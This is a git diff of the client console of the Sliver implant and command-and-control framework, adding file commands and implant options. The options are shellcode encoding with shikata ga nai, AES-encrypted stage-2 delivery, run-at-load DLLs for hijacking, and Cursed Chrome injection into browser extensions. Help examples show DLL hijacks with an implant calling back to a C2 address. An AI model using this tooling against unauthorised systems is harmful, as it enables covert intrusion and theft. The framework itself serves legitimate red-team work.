+			con.PrintErrorf("Failed to write data %v\n", err)
+		} else {
+			var readFilesText string
+			var unreadFilesText string
+
+			if download.ReadFiles == 1 {
+				readFilesText = "file"
+			} else {
+				readFilesText = "files"
+			}
+
+			if download.UnreadableFiles == 1 {
+				unreadFilesText = "file"
+			} else {
+				unreadFilesText = "files"
+			}
+
+			con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
+				n,
+				download.ReadFiles,
+				readFilesText,
+				download.UnreadableFiles,
+				unreadFilesText,
+				dstFile.Name())
+		}
 	}
 }
@@ -22,7 +22,6 @@ import (
 	"bytes"
 	"context"
 	"fmt"
-	"path/filepath"
 	"sort"
 	"strings"
 	"text/tabwriter"
@@ -45,49 +44,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}

 	remotePath := ctx.Args.String("path")
-	filter := ""
-
-	/*
-		Check to see if the remote path is a filter or contains a filter.
-		If the path passes the test to be a filter, then it is a filter
-		because paths are not valid filters.
-	*/
-	if remotePath != "." {
-
-		// Check if the path contains a filter
-		// Test on a standardized version of the path (change any \ to /)
-		testPath := strings.Replace(remotePath, "\\", "/", -1)
-		/*
-			Cannot use the path or filepath libraries because the OS
-			of the client does not necessarily match the OS of the
-			implant
-		*/
-		lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
-
-		if lastSeparatorOccurrence == -1 {
-			// Then this is only a filter
-			filter = remotePath
-			remotePath = "."
-		} else {
-			// Then we need to test for a filter on the end of the string
-
-			// The indicies should be the same because we did not change the length of the string
-			baseDir := remotePath[:lastSeparatorOccurrence+1]
-			potentialFilter := remotePath[lastSeparatorOccurrence+1:]
-
-			_, err := filepath.Match(potentialFilter, "")
-
-			if err == nil {
-				// Then we have a filter on the end of the path
-				remotePath = baseDir
-				filter = potentialFilter
-			} else {
-				if !strings.HasSuffix(remotePath, "/") {
-					remotePath = remotePath + "/"
-				}
-			}
-		}
-	}

 	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
 		Request: con.ActiveTarget.Request(ctx),
@@ -104,23 +60,38 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintLs(ls, ctx.Flags, filter, con)
+			PrintLs(ls, ctx.Flags, con)
 		})
 		con.PrintAsyncResponse(ls.Response)
 	} else {
-		PrintLs(ls, ctx.Flags, filter, con)
+		PrintLs(ls, ctx.Flags, con)
 	}
 }

 // PrintLs - Display an sliverpb.Ls object
-func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
+func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
 	if ls.Response != nil && ls.Response.Err != "" {
 		con.PrintErrorf("%s\n", ls.Response.Err)
 		return
 	}

-	con.Printf("%s\n", ls.Path)
-	con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
+	// Generate metadata to print with the path
+	numberOfFiles := len(ls.Files)
+	var totalSize int64 = 0
+	var pathInfo string
+
+	for _, fileInfo := range ls.Files {
+		totalSize += fileInfo.Size
+	}
+
+	if numberOfFiles == 1 {
+		pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
+	} else {
+		pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
+	}
+
+	con.Printf("%s\n", pathInfo)
+	con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))

 	outputBuf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
@@ -174,29 +145,14 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console
 	}

 	for _, fileInfo := range ls.Files {
-		if filter != "" {
-			fileMatch, err := filepath.Match(filter, fileInfo.Name)
-
-			if err != nil {
-				/*
-					This should not happen because we checked the filter
-					before reaching out to the implant.
-				*/
-				con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
-				break
-			}
-
-			if !fileMatch {
-				continue
-			}
-		}
-
 		modTime := time.Unix(fileInfo.ModTime, 0)
 		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
 		modTime = modTime.In(implantLocation)

 		if fileInfo.IsDir {
 			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else if fileInfo.Link != "" {
+			fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
 		} else {
 			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
 		}
@@ -0,0 +1,84 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	src := ctx.Args.String("src")
+	if src == "" {
+		con.PrintErrorf("Missing parameter: src\n")
+		return
+	}
+
+	dst := ctx.Args.String("dst")
+	if dst == "" {
+		con.PrintErrorf("Missing parameter: dst\n")
+		return
+	}
+
+	mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Src:     src,
+		Dst:     dst,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	mv.Src, mv.Dst = src, dst
+
+	if mv.Response != nil && mv.Response.Async {
+		con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, mv)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+		})
+		con.PrintAsyncResponse(mv.Response)
+	} else {
+		PrintMv(mv, con)
+	}
+	return
+}
+
+// PrintMv - Print the renamed file
+func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
+	if mv.Response != nil && mv.Response.Err != "" {
+		con.PrintErrorf("%s\n", mv.Response.Err)
+		return
+	}
+	con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
+}
@@ -64,6 +64,10 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	dst := remotePath

 	fileBuf, err := ioutil.ReadFile(src)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
 	uploadGzip := new(encoders.Gzip).Encode(fileBuf)

 	ctrl := make(chan bool)
@@ -38,7 +38,17 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
 	interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
 	interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
 	interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
-	interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
+
+	/*
+		If seconds has not been specified but any of the other time units have, then do not add
+		the default 60 seconds to the interval.
+
+		If seconds have been specified, then add them regardless.
+	*/
+	if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
+		interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
+	}
+
 	if interval < minBeaconInterval {
 		return ErrBeaconIntervalTooShort
 	}
@@ -5,8 +5,6 @@ import (
 	"fmt"
 	"io/ioutil"
 	"net"
-	"os"
-	"path/filepath"
 	"regexp"
 	"strings"

@@ -95,15 +93,11 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}

 	if save != "" || format == "raw" {
-		saveTo, _ := filepath.Abs(save)
-		fi, err := os.Stat(saveTo)
+		saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
 		if err != nil {
-			con.PrintErrorf("Failed to generate sliver stager %v\n", err)
 			return
 		}
-		if fi.IsDir() {
-			saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
-		}
+
 		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)
@@ -29,7 +29,6 @@ import (
 	"os"
 	"path"
 	"path/filepath"
-	"regexp"
 	"runtime"
 	"strings"

@@ -39,6 +38,7 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
 )

@@ -164,15 +164,12 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
 // Shared function that extracts the compile flags from the grumble context
 func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
 	var name string
-	if ctx.Flags["name"] != nil {
+	if ctx.Flags.String("name") != "" {
 		name = strings.ToLower(ctx.Flags.String("name"))

-		if name != "" {
-			isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
-			if !isAlphanumeric(name) {
-				con.PrintErrorf("Implant's name must be in alphanumeric only\n")
-				return nil
-			}
+		if err := util.AllowedName(name); err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
 		}
 	}

@@ -258,6 +255,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	isShellcode := false

 	format := ctx.Flags.String("format")
+	runAtLoad := false
 	var configFormat clientpb.OutputFormat
 	switch format {
 	case "exe":
@@ -265,6 +263,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	case "shared":
 		configFormat = clientpb.OutputFormat_SHARED_LIB
 		isSharedLib = true
+		runAtLoad = ctx.Flags.Bool("run-at-load")
 	case "shellcode":
 		configFormat = clientpb.OutputFormat_SHELLCODE
 		isShellcode = true
@@ -282,6 +281,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	if targetOS == "" || targetArch == "" {
 		return nil
 	}
+	if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
+		con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
+		return nil
+	}
 	if len(namedPipeC2) > 0 && targetOS != "windows" {
 		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
 		return nil
@@ -303,6 +306,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
 	}

+	// TODO: Use generics or something to check in a slice
+	connectionStrategy := ctx.Flags.String("strategy")
+	if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
+		con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
+		return nil
+	}
+
 	config := &clientpb.ImplantConfig{
 		GOOS:             targetOS,
 		GOARCH:           targetArch,
@@ -317,6 +327,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
 		WGTcpCommsPort:    uint32(ctx.Flags.Int("tcp-comms")),

+		ConnectionStrategy:  connectionStrategy,
 		ReconnectInterval:   int64(reconnectInterval) * int64(time.Second),
 		PollTimeout:         int64(pollTimeout) * int64(time.Second),
 		MaxConnectionErrors: uint32(maxConnectionErrors),
@@ -331,6 +342,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		IsSharedLib: isSharedLib,
 		IsService:   isService,
 		IsShellcode: isShellcode,
+
+		RunAtLoad: runAtLoad,
 	}

 	return config
@@ -394,6 +407,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "mtls" {
+			return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
+		}
 		if uri.Port() == "" {
 			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
 		}
@@ -415,17 +431,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
 		arg = strings.ToLower(arg)
 		var uri *url.URL
 		var err error
-		if strings.HasPrefix(arg, "mtls://") {
+		if strings.HasPrefix(arg, "wg://") {
 			uri, err = url.Parse(arg)
 			if err != nil {
 				return nil, err
 			}
 		} else {
-			uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
+			uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
 			if err != nil {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "wg" {
+			return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
+		}
 		if uri.Port() == "" {
 			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
 		}
@@ -458,6 +477,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "http" && uri.Scheme != "https" {
+			return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
+		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
@@ -487,6 +509,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "dns" {
+			return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
+		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
@@ -503,6 +528,9 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
 	}
 	for index, arg := range strings.Split(args, ",") {
 		arg = strings.ToLower(arg)
+		arg = strings.ReplaceAll(arg, "\\", "/")
+		arg = strings.TrimPrefix(arg, "/")
+		arg = strings.TrimPrefix(arg, "/")
 		var uri *url.URL
 		var err error
 		if strings.HasPrefix(arg, "namedpipe://") {
@@ -516,6 +544,21 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "namedpipe" {
+			return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
+		}
+
+		if !strings.HasPrefix(uri.Path, "/pipe/") {
+			prompt := &survey.Confirm{
+				Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
+			}
+			var confirm bool
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
+			}
+		}
+
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
@@ -548,6 +591,9 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "tcppivot" {
+			return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
+		}
 		if uri.Port() == "" {
 			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
 		}
@@ -594,12 +640,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
 		return nil, errors.New("no file data")
 	}

+	fileData := generated.File.Data
+	if config.IsShellcode {
+		confirm := false
+		survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
+		if confirm {
+			con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
+			resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+				Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+				Architecture: config.GOARCH,
+				Iterations:   1,
+				BadChars:     []byte{},
+				Data:         fileData,
+			})
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			} else {
+				con.Printf("success!\n")
+				fileData = resp.GetData()
+			}
+		}
+	}
+
 	saveTo, err := saveLocation(save, generated.File.Name)
 	if err != nil {
 		return nil, err
 	}

-	err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
+	err = ioutil.WriteFile(saveTo, fileData, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to: %s\n", saveTo)
 		return nil, err
@@ -100,6 +100,10 @@ func printHelp(con *console.SliverConsoleClient) {
 			con.Println()
 		}
 	}
+
+	con.Println()
+	con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
+	con.Println()
 }

 func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
@@ -71,7 +71,7 @@ var (
 		consts.MigrateStr:          migrateHelp,
 		consts.SideloadStr:         sideloadHelp,
 		consts.TerminateStr:        terminateHelp,
-		consts.AliasesStr:          loadMacrosHelp,
+		consts.AliasesStr:          loadAliasHelp,
 		consts.PsExecStr:           psExecHelp,
 		consts.BackdoorStr:         backdoorHelp,
 		consts.SpawnDllStr:         spawnDllHelp,
@@ -103,6 +103,8 @@ var (
 		consts.ReactionStr:                         reactionHelp,
 		consts.ReactionStr + sep + consts.SetStr:   reactionSetHelp,
 		consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
+
+		consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
 	}

 	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -279,7 +281,26 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
 [[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`

 	downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
-[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
+[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
+[[.Bold]][[.Underline]]Filters[[.Normal]]
+Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
+
+Filters are specified after the path.  A blank path will filter on names in the current directory.  For example:
+download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
+
+Downloads can be filtered using the following patterns:
+'*': Wildcard, matches any sequence of non-path separators (slashes)
+	Example: n*.txt will match all file names starting with n and ending with .txt
+
+'?': Single character wildcard, matches a single non-path separator (slashes)
+	Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
+
+'[{range}]': Match a range of characters.  Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
+	Example: [a-c] will match the characters a, b, and c.  [a-c]* will match all file names that start with a, b, or c.
+		^[r-u] will match all characters except r, s, t, and u.
+
+If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
+On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`

 	uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
 [[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
@@ -346,8 +367,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
 	sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
 Sideload a Linux shared library into a new bash process using LD_PRELOAD:
 	sideload -p /bin/bash /tmp/mylib.so
-Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
-	sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
+Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
+	sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"

 [[.Bold]]Remarks:[[.Normal]]
 Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
@@ -371,7 +392,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
 	screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
 [[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
 `
-	loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path> 
+	loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path> 
 [[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
 Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
 For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
@@ -657,8 +678,8 @@ supplied with the --profile flag.
 # Use a local DLL for a hijack
 dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll

-# Use a Sliver generated DLL for the hijack
-profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
+# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
+profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
 dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll

 # Use a local DLL as the reference DLL
@@ -667,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t

 	getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
 [[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
+`
+
+	cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
+[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
+
+If no extension is specified, Sliver will enumerate all installed extensions, extract their
+permissions and determine a valid target for injection. For Cursed Chrome to work properly
+the target extension must have either of these two sets of permissions:
+
+1. "webRequest" "webRequestBlocking" "<all_urls>" 
+2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*" 
+
+More information: https://github.com/mandatoryprogrammer/CursedChrome
 `
 )

@@ -19,10 +19,14 @@ package info
 */

 import (
+	"context"
 	"time"

 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"

 	"github.com/desertbit/grumble"
 )
@@ -120,9 +124,50 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if session == nil && beacon == nil {
 		return
 	}
+
+	var isWin bool
+	con.Printf("Logon ID: ")
 	if session != nil {
 		con.Printf("%s\n", session.Username)
+		if session.GetOS() == "windows" {
+			isWin = true
+		}
 	} else if beacon != nil {
 		con.Printf("%s\n", beacon.Username)
+		if beacon.GetOS() == "windows" {
+			isWin = true
+		}
+	}
+
+	if isWin {
+		cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
+			Request: con.ActiveTarget.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		if cto.Response != nil && cto.Response.Async {
+			con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, cto)
+				if err != nil {
+					con.PrintErrorf("Failed to decode response %s\n", err)
+					return
+				}
+				PrintTokenOwner(cto, con)
+			})
+			con.PrintAsyncResponse(cto.Response)
+		} else {
+			PrintTokenOwner(cto, con)
+		}
 	}
 }
+
+func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
+	if cto.Response != nil && cto.Response.Err != "" {
+		con.PrintErrorf("%s\n", cto.Response.Err)
+		return
+	}
+	con.PrintInfof("Current Token ID: %s", cto.Output)
+}
@@ -31,9 +31,9 @@ import (
 func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {

 	domains := strings.Split(ctx.Flags.String("domains"), ",")
-	for _, domain := range domains {
+	for index, domain := range domains {
 		if !strings.HasSuffix(domain, ".") {
-			domain += "."
+			domains[index] += "."
 		}
 	}

@@ -47,6 +47,7 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Port:       uint32(lport),
 		Canaries:   !ctx.Flags.Bool("no-canaries"),
 		Persistent: ctx.Flags.Bool("persistent"),
+		EnforceOTP: !ctx.Flags.Bool("disable-otp"),
 	})
 	con.Println()
 	if err != nil {
@@ -19,13 +19,17 @@ package jobs
 */

 import (
+	"bytes"
+	"compress/zlib"
 	"context"
 	"net/url"
 	"strconv"
+	"strings"

 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
 )

@@ -33,6 +37,9 @@ import (
 func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	profileName := ctx.Flags.String("profile")
 	listenerURL := ctx.Flags.String("url")
+	aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
+	aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
+	compress := strings.ToLower(ctx.Flags.String("compress"))

 	if profileName == "" || listenerURL == "" {
 		con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -56,12 +63,58 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Profile not found\n")
 		return
 	}
+
+	aesEncrypt := false
+	if aesEncryptKey != "" {
+		// check if aes encryption key is correct length
+		if len(aesEncryptKey)%16 != 0 {
+			con.PrintErrorf("Incorect length of AES Key\n")
+			return
+		}
+
+		// set default aes iv
+		if aesEncryptIv == "" {
+			aesEncryptIv = "0000000000000000"
+		}
+
+		// check if aes iv is correct length
+		if len(aesEncryptIv)%16 != 0 {
+			con.PrintErrorf("Incorrect length of AES IV\n")
+			return
+		}
+
+		aesEncrypt = true
+	}
+
 	stage2, err := generate.GetSliverBinary(profile, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}

+	switch compress {
+	case "zlib":
+		// use zlib to compress the stage2
+		var compBuff bytes.Buffer
+		zlibWriter := zlib.NewWriter(&compBuff)
+		zlibWriter.Write(stage2)
+		zlibWriter.Close()
+		stage2 = compBuff.Bytes()
+	case "gzip":
+		stage2 = util.GzipBuf(stage2)
+	case "deflate9":
+		fallthrough
+	case "deflate":
+		stage2 = util.DeflateBuf(stage2)
+	}
+
+	if aesEncrypt {
+		// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
+		// but it's also useful here as more advanced cipher modes are often difficult to implement in
+		// a stager.
+		stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
+	}
+
 	switch stagingURL.Scheme {
 	case "http":
 		ctrl := make(chan bool)
@@ -125,4 +178,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
 		return
 	}
+
+	if aesEncrypt {
+		con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
+		con.PrintInfof("AES IV: %v\n", aesEncryptIv)
+	}
 }
@@ -27,6 +27,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/core"
 	"github.com/desertbit/grumble"
 )

@@ -41,7 +42,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if !confirm {
 			return
 		}
-		err := KillSession(session, ctx.Flags.Bool("force"), con)
+		err := KillSession(session, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -54,7 +55,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if !confirm {
 			return
 		}
-		err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
+		err := KillBeacon(beacon, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -67,28 +68,31 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	return
 }

-func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
+func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	if session == nil {
 		return errors.New("session does not exist")
 	}
 	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
 		Request: &commonpb.Request{
 			SessionID: session.ID,
+			Timeout:   int64(ctx.Flags.Int("timeout")),
 		},
-		Force: force,
+		Force: ctx.Flags.Bool("force"),
 	})
+	core.Sessions.Remove(session.ID)
 	return err
 }

-func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
+func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	if beacon == nil {
 		return errors.New("session does not exist")
 	}
 	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
